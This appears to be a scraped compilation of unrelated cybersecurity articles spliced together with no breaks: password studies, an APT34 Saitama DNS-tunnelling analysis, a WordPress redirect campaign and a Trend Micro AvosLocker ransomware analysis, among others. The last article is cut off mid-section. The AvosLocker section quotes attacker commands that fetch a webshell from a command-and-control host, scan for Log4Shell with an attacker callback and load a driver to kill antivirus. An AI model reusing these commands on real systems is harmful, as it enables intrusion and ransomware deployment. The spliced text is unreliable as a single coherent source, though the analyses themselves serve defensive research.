A poor password at the highest levels of an organisation can cost a company millions in losses.
Recent findings show that half of IT leaders store passwords in shared documents. On top of that, it seems that folks at executive level are not picking good passwords either. Researchers from NordPass combed through a large list of CEO and business owner breaches. Their findings should renew considerations for additional security measures at executive level.
The findings
The five most common passwords among C-level executives, managers, and business owners were “123456”, “password”, “12345”, “123456789”, and our old friend “qwerty”. Terrifyingly, but perhaps not surprisingly, this looks exactly like every other list of the most frequently used passwords, suggesting no extra precautions are in place (or enforced) at the top.
Executives really love to use the names “Tiffany”, “Charlie”, Michael”, and “Jordan” for their passwords. I was curious to know if these are the names of executives’ name their kids. My entirely unscientific trawl for the names of CEO’s children turned up list of CEOs themselves. Henry, William, Jack, James, and David are all very popular names. This doesn’t match up with our list of password names. However, there is one list which claims that the Michaels of this world are most likely to become CEOs. Are CEOs naming their passwords after themselves? I’d like to think not, but then I probably wouldn’t have expected to be writing about “123456” either.
Animals and mythical creatures are popular choices. When not naming passwords after themselves, dragons and monkeys are both incredibly popular and also incredibly easy to guess.
Breaking and entering
Common ways corporate breaches and basic passwords spill all over the floor are issues we’ve covered at length. We recently highlighted recommendations from the Cybersecurity and Infrastructure Security Agency which deal with most of the causes of CEO password loss.
A combination of weak and reused passwords, and risky password-sharing habits make up the majority of hits on the “these passwords can lead to nothing good” indicator.
What happens when you combine bad password practices with human error and poor security infrastructure? These weak and obvious passwords just help to bring the whole thing crashing down that little bit faster.
There are some very smart attacks and compromises out there. Clever attackers can exfiltrate data from a network for weeks or months before making a more overt move. You’d expect people hijacking CEO data to be made to really work for it at every level. Sadly this research seems to suggest the opposite is happening in a lot of cases.
If nothing else, I’d love to see the actual response on the part of the criminals. What do they think when pulling down a C-Level executive’s data and discovering their email password is “sandwich”? Are they surprised? Is it business as usual? Do they think it can’t possibly be real, and they’re staring down the wrong end of a prank or law enforcement bust?
Is the CEO password sky falling? A word of caution…
There are some caveats here. The research doesn’t go into detail with regard to additional security measures in place. Yes, a CEO may have the worst password you’ve ever seen. That doesn’t mean the business has been popped right open.
Maybe they had two-factor authentication (2FA) set up. The password may be gone, but unless the attacker also has access to the CEO’s authentication app on their phone, it may not be much use. The CEO may use a hardware authentication token plugged into their desktop. Admins may have set up that one machine specifically for use by the CEO, for all CEO-related activity. It may not be usable remotely, and could be tied to a VPN an added precaution.
Having said all of that…
Manager? Use a password manager
If we’re talking purely about fixing the short, terrible, obvious passwords, then some additional work is required. 2FA, lockouts, and hardware tokens are great. Ultimately they’re fixing a myriad of additional problems regardless of whether the password is good or bad.
To fix bad password practices, we need to look to tools which can improve them and help keep them a bit more secure at the same time. I am talking about password managers, of course.
A password manager is a software application that gets around the twin evils of poor passwords and password reuse by creating strong, random passwords and then remembering them.
They can function online, so they are accessible via the web and can sync passwords between devices, or they can work entirely offline. Offline password managers are arguably more secure. Online components can add additional risk factors and a way for someone to break in via exploits. The important part is to keep the master password to access your vault secure, and to use 2FA if available for an additional layer of protection. Make your master password long and complex—don’t use “qwerty”.
Password managers with browser extensions can help deter phishing. Your password manager will object to entering a password into the wrong website, no matter how convincing it looks. No more risk of accidental logins!
Some password manager tools allow you to share logins with other users in a secure fashion. They don’t show or display the password to the other users, rather they just grant a form of access managed by the tool or app itself. If your CEO has no option but to share a password with somebody else, this is the only safe way to do it.
There’s never been a better time to wean ourselves away from shared password documents and the name “Michael” as the digital keys to an organisation’s kingdom. It’s perhaps time for CEOs and other executives to lead from the front where security is concerned.
Thanks to the Malwarebytes Threat Intelligence Team for the information they provided for this article.
Understandably, a lot of cybersecurity research and commentary focuses on the act of breaking into computers undetected. But threat actors are often just as concerned with the act of breaking out of computers undetected too.
Malware with the intent of surveillance or espionage needs to operate undetected, but the chances are it also needs to exfiltrate data or exchange messages with its command and control infrastructure, both of which could reveal its presence to threat hunters.
One of the stealthy communication techniques employed by malware trying to avoid detection is DNS Tunnelling, which hides messages inside ordinary-looking DNS requests.
The Malwarebytes Threat Intelligence team recently published research about an attack on the Jordanian government by the Iranian Advanced Persistent Threat (APT) group APT34 that used its own innovative version of this method.
The payload in the attack was a backdoor called Saitama, a finite state machine that used DNS to communicate. Our original article provides an educational deep dive into the operation of Saitama and is well worth a read.
Here we will expand on the tricks that Saitama used to keep its DNS tunelling hidden.
Saitama’s DNS tunnelling
DNS is the Internet’s “address book” that allows computers to lookup human-readable domain names, like malwarebytes.com, and find their IP addresses, like 54.192.137.126.
DNS information isn’t held in a single database. Instead it’s distributed, and each domain has name servers that are responsible for answering questions about them. Threat actors can use DNS to communicate by having their malware make DNS lookups that are answered by name servers they control.
DNS is so important it’s almost never blocked by corporate firewalls, and the enormous volume of DNS traffic on corporate networks provides plenty of cover for malicious communication.
Saitama’s messages are shaped by two important concerns: DNS traffic is still largely unencrypted, so messages have to be obscured so their purpose isn’t obvious; and DNS records are often cached heavily, so identical messages have to look different to reach the APT-controlled name servers.
Saitama’s messages
In the attack on the Jordanian foreign ministry, Saitama’s domain lookups used the following syntax:
domain = message, counter'.'root domain
The root domain is always one of uber-asia.com, asiaworldremit.com or joexpediagroup.com, which are used interchangeably.
The sub-domain portion of each lookup consists of a message followed by a counter. The counter is used to encode the message, and is sent to the command and control (C2) server with each lookup so the C2 can decode the message.
Four types of message can be sent:
1. Make contact
The first time it is executed, Saitama starts its counter by choosing a random number between 0 and 46655. In this example our randomly-generated counter is 7805.
The DNS lookup derived from that counter is:
nbn4vxanrj.joexpediagroup.com
The counter itself is encoded using a hard-coded base36 alphabet that is shared by the name server. In base36 each digit is represented by one of the 36 characters 0-9 and A-Z. In the standard base36, alphabet 7805 is written 60t (6 x 1296 + 0 x 36 + 30 x 1). However, in Saitama’s custom alphabet 7805 is nrj.
The counter is also used to generate a custom alphabet that will be used to encode the message using a simple substitution. The first message sent home is the command 0, base36-encoded to a, which tells the server it has a new victim, prepended to the string haruto, making aharuto.
A simple substitution using the alphabet generated by the counter yields the message nbn4vxa.
a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9
↓ ↓ ↓ ↓ ↓ ↓
n j 1 6 9 k p b h d 0 7 y i a 2 g 4 u xv 3 e s w f 5 8 r o c q t l z m
The C2 name server decodes the counter using the shared, hard-coded alphabet, and then uses the counter to derive the alphabet used to encode aharuto.
It responds to the contact request with an IP address that contains an ID for Saitama to use in future communications. The first three octets can be anything, and Saitama ignores them. The final octet contains the ID. In our example we will use the ID 203:
75.99.87.203
2. Ask for a command
Now that it has an ID from the C2 server, Saitama increments its counter to 7806 and signals its readiness to receive a command as follows: The counter is used to generate a new custom alaphabet, which encodes the ID, 203, as ao. The counter itself is encoded using the malware’s hard-coded base36 alphabet, to nrc, and one of Saitama’s three root domains is chosen at random, resulting in:
aonrc.uber-asia.com
The C2 server responds to the request with the size of the payload Saitama should expect. Saitama will use this to determine how many requests it will need to make to retrieve the full payload.
The first octet of the IP address the C2 responds with is any number between 129 and 255, while the second, third and fourth octets signify the first, second, and third bytes of the size of the payload. In this case the payload will be four bytes.
129.0.0.4
3. Get a command
Now that it knows the size of the payload it will receive, Saitama makes one or more RECEIVE requests to the server to get its instructions. It increments its counter by one each time, starting at 7807. Multiple requests may be necessary in this step because some command names require more than the four bytes of information an IP address can carry. In this case it has been told to retrieve four bytes of information so it will only need to make one request.
The message from Saitama consists of three parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the payload is required. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7807, giving us the message k7myyy.
The counter is encoded using the hard-coded alphabet to nr6, and one of Saitama’s three root domains is chosen at random, giving us:
k7myyynr6.asiaworldremit.com
The C2 indicates which function it wants to run using two-digit integers. It can ask Saitama to run any of five different functions:
C2
Saitama
43
Static
70
Cmd
71
CompressedCmd
95
File
96
CompressedFile
Saitama functions
In this case the C2 wants to run the command ver using Saitama’s Cmd function. (In the previous request the C2 indicated that it would be sending Saitama a four byte payload: One byte for 70, and three bytes for ver.)
In its response, the C2 uses the first octet of the IP address to indicate the function it wants to run, 70, and then the remaining three octets to spell out the command name ver using the ASCII codepoints for the lowercase characters “v”, “e”, and “r”:
70.118.101.114
4. Run the command
Saitama runs the command it has been given and sends the resulting output to the C2 server in one or more DNS requests. The counter is incremented by one each time, starting at 7808 in our example. Multiple requests may be necessary in this step because some command names require more than the four bytes an IP address can carry.
The counter is encoded using the hard-coded alphabet to nrb, and one of Saitama’s three root domains is chosen at random.
In this case the message consists of five parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the response is being sent; the size of the buffer; and a twelve-byte chunk of the output. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7808, giving us the message p6yqqqqp0b67gcj5c2r3gn3l9epzt.
Google last month addressed a high-severity flaw in its OAuth client library for Java that could be abused by a malicious actor with a compromised token to deploy arbitrary payloads.
Tracked as CVE-2021-22573, the vulnerability is rated 8.7 out of 10 for severity and relates to an authentication bypass in the library that stems from an improper verification of the cryptographic signature.
Credited with discovering and reporting the flaw on March 12 is Tamjid Al Rahat, a fourth-year Ph.D. student of Computer Science at the University of Virginia, who has been awarded $5,000 as part of Google’s bug bounty program.
“The vulnerability is that the IDToken verifier does not verify if the token is properly signed,” an advisory for the flaw reads.
“Signature verification makes sure that the token’s payload comes from a valid provider, not from someone else. An attacker can provide a compromised token with custom payload. The token will pass the validation on the client side.”
The open-source Java library, built on the Google HTTP Client Library for Java, makes it possible to obtain access tokens to any service on the web that supports the OAuth authorization standard.
Google, in its README file for the project on GitHub, notes that the library is supported in maintenance mode and that it’s only fixing necessary bugs, indicative of the severity of the vulnerability.
Users of the google-oauth-java-client library are recommended to update to version 1.33.3, released on April 13, to mitigate any potential risk.
This Anti-Ransomware Day, SonicWall looks at how cybersecurity has changed since WannaCry — and what we can do to ensure we never see such a widespread, devastating and preventable attack again.
On May 12, 2017, attackers identified a vulnerability in a Windows device somewhere in Europe — and in the process, set off an attack that would ultimately impact roughly 200,000 victims and over 300,000 endpoints across 150 countries. The devastation wrought by WannaCry caused financial losses of roughly $4 billion before the strain was halted by an unlikely hero just hours later. But perhaps most devastating of all was that it was completely preventable.
To help raise awareness about ransomware strains like WannaCry and the steps needed to combat them, INTERPOL in 2020 teamed up with cybersecurity firm Kaspersky to declare May 12 Anti-Ransomware Day. By taking a few important steps, organizations can help stop the next major ransomware attack, averting the potential for downtime, reputational damage, fines and more.
“Cybercrime and cybersecurity may seem like a complex issue that is difficult to understand unless you are an expert in the field — this is not the case. INTERPOL’s campaign aims to demystify these cyberthreats and offer simple, concrete steps which everybody can take to protect themselves,” INTERPOL’s Director of Cybercrime Craig Jones said.
What’s Changed Since WannaCry?
In the years since the infamous attack, ransomware has continued to grow. In 2021, SonicWall Capture Labs threat researchers recorded 623.3 million ransomware attempts on customers globally. This represents an increase of 105% from 2020’s total and a staggering 232% since 2019.
And while ransomware was a hot topic worldwide due to attacks such as WannaCry and NotPetya, which would begin its own savage trek across the globe just six weeks later, ransomware volume in 2017 was less than a third of what it was in 2021.
Weakened, but Still Wreaking Havoc
While variants such as Ryuk, SamSam and Cerber made up 62% of the ransomware attacks recorded by SonicWall in 2021, WannaCry lives on — and in surprising numbers. By now, five years on, the number of vulnerable Windows systems should be virtually zero. A patch for the EternalBlue vulnerability exploited by WannaCry was released two months prior to the attack, and Microsoft later took the unusual step of also releasing patches for Windows systems that were old and no longer supported.
But in 2020, SonicWall observed 233,000 instances of WannaCry, and in 2021, 100,000 hits were observed — indicating that there are still vulnerable Windows systems in the wild that need to be patched.
We Can Worry … Or Get to Work
What made WannaCry so successful was that many organizations at the time took a set-it-and-forget-it approach to IT, leaving vulnerable hundreds of thousands of endpoints that could otherwise have been patched prior to the attack. But while patching is a crucial part of any cybersecurity strategy, it can’t work alone — there are still a number of other steps organizations need to take to bolster their odds against the next big ransomware attack.
Update: Whenever possible, enable automatic updates on applications and devices on your network — both for operating systems and for any other apps in your ecosystem.
Upgrade: The older an operating system gets, the more malware and other threats are created to target them. Retire any software or hardware that is obsolete or no longer supported by the vendor.
Duplicate: All important data should be backed up to a place inaccessible by attackers. Having adequate and up-to-date backups on hand significantly eases recovery in the event of a ransomware attack.
Educate: A staggering 91% of all cyberattacks start with someone opening a phishing email. Teach employees to be wary any time they receive an email, particularly one with an attachment or link.
Safeguard: By taking the above steps, most attacks can be prevented, but not all. They’re called “best practices” and not “universal practices” for a reason: If any are allowed to lapse — or new methods are found to circumvent them — organizations will need a strong last line of defense. An advanced, multi-layer platform that includes endpoint security, next-gen firewall services, email security and secure mobile access can work to eliminate blind spots and eradicate both known and unknown threats.
“In the past two years, we have seen how cybercriminals have become bolder in using ransomware. Organizations targeted by such attacks are not limited to corporations and governmental organizations — ransomware operators are ready to hit essentially any business regardless of size,” Jones said. “To fight them, we need to educate ourselves on how they work and fight them as one. Anti-Ransomware Day is a good opportunity to highlight this need and remind the public of how important it is to adopt effective security practices.”
Google on Wednesday took to its annual developer conference to announce a host of privacy and security updates, including support for virtual credit cards on Android and Chrome.
“When you use autofill to enter your payment details at checkout, virtual cards will add an additional layer of security by replacing your actual card number with a distinct, virtual number,” Google’s Jen Fitzpatrick said in a statement.
The goal, the search giant, said to keep payment information safe and secure during online shopping and protect users from skimming attacks wherein threat actors inject malicious JavaScript code to plunder credit card numbers and sell them on the black market.
The feature is expected to roll out in the U.S. for Visa, American Express, Mastercard, and Capital One cards starting this summer.
Interestingly, while Apple offers an option to mask email addresses via Hide My Email, which enables users to create unique, random email addresses to use with apps and websites, it’s yet to offer a similar option for creating virtual credit cards.
The development comes a week after Google, Apple, and Microsoft banded together to accelerate support for a common passwordless sign-in standard that allows “websites and apps to offer consistent, secure, and easy passwordless sign-ins to consumers across devices and platforms.”
Additionally, Google said it’s expanding phishing protections in Google Workspace to Docs, Slides and Sheets, and that it plans to debut a new “My Ad Center” later this year to give users more control over personalized ads on YouTube, Search, and Discover feed.
What’s more, users would be able to request personally identifiable information such as email, phone number, or home address to be removed from search results through a new tool that will be accessible from the Google App.
Also coming is a new Account Safety Status setting that will “feature a simple yellow alert icon on your profile picture that will flag actions you should take to secure your account.”
Other key privacy and security features unveiled at Google I/O 2022 include support for end-to-end encryption for group conversations in the Messages app for Android and the availability of on-device encryption for Google Password Manager.
Our remediation and research teams regularly find malicious redirects on client sites. These infections automatically redirect site visitors to third-party websites with malicious resources, scam pages, or commercial websites with the intention of generating illegitimate traffic.
As outlined in our latest hacked website report, we’ve been tracking a long-lasting campaign responsible for injecting malicious scripts into compromised WordPress websites. This campaign leverages known vulnerabilities in WordPress themes and plugins and has impacted an enormous number of websites over the year — for example, according to PublicWWW, the April wave for this campaign was responsible for nearly 6,000 infected websites alone.
Since these PublicWWW results only show detections for simple script injections, we can assume that the scope is significantly larger.
Investigating Obfuscated JavaScript in WordPress Sites
We recently investigated a number of WordPress websites complaining about unwanted redirects. Interestingly enough, they were found to be related to a new wave of this massive campaign and were sending website visitors through a series of website redirects to serve them unwanted ads.
The websites all shared a common issue — malicious JavaScript had been injected within their website’s files and the database, including legitimate core WordPress files such as:
./wp-includes/js/jquery/jquery.min.js
./wp-includes/js/jquery/jquery-migrate.min.js
Once the website had been compromised, attackers had attempted to automatically infect any .js files with jQuery in the names. They injected code that begins with “/* trackmyposs*/eval(String.fromCharCode…”
However, it was clear that the attackers had taken some measures to evade detection and had obfuscated their malicious JavaScript with CharCode, as seen below.
Malicious JavaScript injection obfuscated with CharCode
Once deobfuscated, the true behavior of the injection emerged.
Deobfuscated malicious JavaScript redirects site visitors on page load
This JavaScript was appended under the current script or under the head of the page where it was fired on every page load, redirecting site visitors to the attacker’s destination.
Malicious Chain of Redirects
To accomplish these redirects, the malicious injection creates a new script element with the legendarytable[.]com domain as the source.
The code from the legendarytable[.]com domain then calls to a second external domain — local[.]drakefollow[.]com — which calls from links[.]drakefollow[.]com, redirecting the site visitor to one of many different domains including:
bluestringline[.]com
browntouchmysky[.]com
redstringline[.]com
whitetouchmysky[.]com
gregoryfavorite[.]space
gregoryfavorite[.]top
pushnow[.]net/
At this point, it’s a free for all. Domains at the end of the redirect chain may be used to load advertisements, phishing pages, malware, or even more redirects.
From a site visitor’s perspective, they’ll simply see the following malware page before landing on the final destination.
Malicious redirect landing page
This page tricks unsuspecting users into subscribing to push notifications from the malicious site. If they click on the fake CAPTCHA, they’ll be opted in to receive unwanted ads even when the site isn’t open — and ads will look like they come from the operating system, not from a browser.
These sneaky push notification opt-in maneuvers also happen to be one of the most common ways attackers display “tech support” scams, which inform users that their computer is infected or slow and they should call a toll-free number to fix the problem.
Detecting Malicious JavaScript via SiteCheck
Client-side redirects are initiated by the site visitors’ browser once the infected web page has been loaded. Since this particular infection is found client-side, remote website scanners like SiteCheck can help scan a website and identify this malware.
Here’s an example of a SiteCheck results page for this specific campaign.
SiteCheck results for malicious Javascript injection
At the time of writing, PublicWWW has reported 322 websites impacted by this new wave for the malicious drakefollow[.]com domain. Considering that this count doesn’t include obfuscated malware or sites that have not yet been scanned by PublicWWW, the actual number of impacted websites is likely much higher.
Conclusion & Mitigation Steps
Our team has seen an influx in complaints for this specific wave of the massive campaign targeting WordPress sites beginning May 9th, 2022, which has impacted hundreds of websites already at the time of writing.
It has been found that attackers are targeting multiple vulnerabilities in WordPress plugins and themes to compromise the website and inject their malicious scripts. We expect the hackers will continue registering new domains for this ongoing campaign as soon as existing ones become blacklisted.
If you believe that your website has been infected with malicious JavaScript or you have found unwanted redirects to spam or ads on your site, you can use our free remote website scanner to detect the malware.
Website owners who have identified malware on their website can leverage the instructions found in our hacked WordPress cleanup guide — and, as always, we’re happy to help clean up an infection if you need a hand.
Google has announced that it’s disabling the Less Secure Apps feature on some Google accounts from May 30th, 2022.
If you’re using Gmail SMTP details with our Other SMTP mailer, you may have difficulty sendingemails when this feature is disabled.
We know that many of our customers rely on Gmail to send emails from WordPress and we wanted to provide some information so that you can avoid deliverability problems.
What Is Less Secure Apps in Gmail?
Less Secure Apps is a feature in Gmail that allows software and devices to sign in to your Gmail account with your main Google username and password.
Up until now, it was possible to send emails through Gmail SMTP with this setting turned on.
Now, Google has decided to begin phasing out Less Secure Apps from May 30th, 2022. Google Workspace and Google Cloud Identity users won’t be affected right away, but support for Less Secure Apps will still be phased out for those users at a later date.
We’ve recommended app passwords for some time, but some customers have chosen to use Less Secure Apps since it’s a little more straightforward. Now that the feature is being retired, all users will need to switch to app passwords or use a different mailer.
How to Switch From Less Secure Apps
If you’re using WP Mail SMTP, here are the options available.
If you’d like to continue using the Other SMTP mailer in WP Mail SMTP, you can set up an app password in your Google account.
An app password works like an alternate password for your account. It can only be used by the applications you share it with, so it’s more secure than sharing your primary password.
Note: any time you change your main Google account password, it will deactivate your app passwords as well. If you change your password frequently, this may not be the best workaround.
Option 3: Switch to a New Mailer
If you’re not set on using Gmail, WP Mail SMTP has a ton of other mailers that use secure, API-based connections to send email from WordPress.
Our recommended mailers are listed at the top of the Setup Wizard.
Here are some more details on our top mailers:
SendLayer: Our #1 recommended mailer and one of the easiest mailers to use with WP Mail SMTP. Once you’ve added DNS records to your domain, all you need is an API key. You can start with a trial and send 500 emails for free, then upgrade to a paid plan from $5/ month (paid annually).
SMTP.com: Free for 30 days, then priced from $25/ month. SMTP.com is an industry leader and has a track record of great email deliverability dating back over 20 years.
Sendinblue: If you’re testing Gmail alternatives, Sendinblue could be a good choice. You can get started without a credit card and upgrade to a plan with more capacity when you’re ready.
To switch your mailer, head to your WP Mail SMTP settings and click the Launch Setup Wizard button.
The Setup Wizard will walk you through the connection steps.
If these mailers aren’t right for you, you can also send through Microsoft 365, SendGrid, Mailgun, Amazon SES, and many more secure, API-based email providers. Here’s a complete guide to all of our mailers to help you decide.
How to Get Help with WP Mail SMTP
We understand that making changes to your mailer can be challenging, but we’re here to help!
If you’re using any paid version, you can log in to your account and open a ticket. As a valued customer, you’ll get priority support when updating your mailer settings.
We found samples of AvosLockerransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain
Figure 1. AvosLocker infection chain
According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:
Figure 2. The ADSS exploit abusing CVE-2021-40539
Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.Figure 4. HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Figure 5. Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Figure 6. Gather system information
The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7. Executed with the /domain argument to collect username informationFigure 8. query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9. The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.
Figure 10. Creating a new account with admin rightsFigure 11. Checking for anti-virus processes running
During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Figure 12. Terminating security products running
Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:
Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.
Figure 14. Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.
Figure 15. Detecting and deleting Mimikatz
We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.
Figure 16. Listing and terminating the security products found running in the compromised system
Verification: Manual replication of anti-virus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :
EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc
Figure 17. Searching for processes
We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Figure 18. Driver file preparing to disable an anti-virus product
The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19. DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.
Figure 23. Checking for log4shell
We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24. Running more system network configuration discovery scans
Deploying across the network
We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25. Deploying malicious batch scripts to other endpoints
The deployed batch script has the following commands:
Disable Windows Update and Microsoft Defender
Figure 26. Disable Microsoft defense services
Prevents safeboot execution of security products
Figure 27. Prevent security products’ execution
Create new administrator account
Figure 28. Create new account
Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29. Add Autostart for ransomware executable
Disables legal notice caption
Figure 30. Disable legal notice
Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31. Setting and disabling network and specific Windows functions
Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement:
“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.
The below example shows that the blocking works (output from the “sc start” command):
(SC) StartService FAILED 1275:
This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”
Did you know that May 5, 2022, is World Password Day?1 Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every second—nearly doubling in frequency over the past 12 months.2
But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.
Free yourself with passwordless sign-in
Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:
Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
Select Turn on.
Approve the notification from Authenticator.
Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.
Strengthen security with multifactor authentication
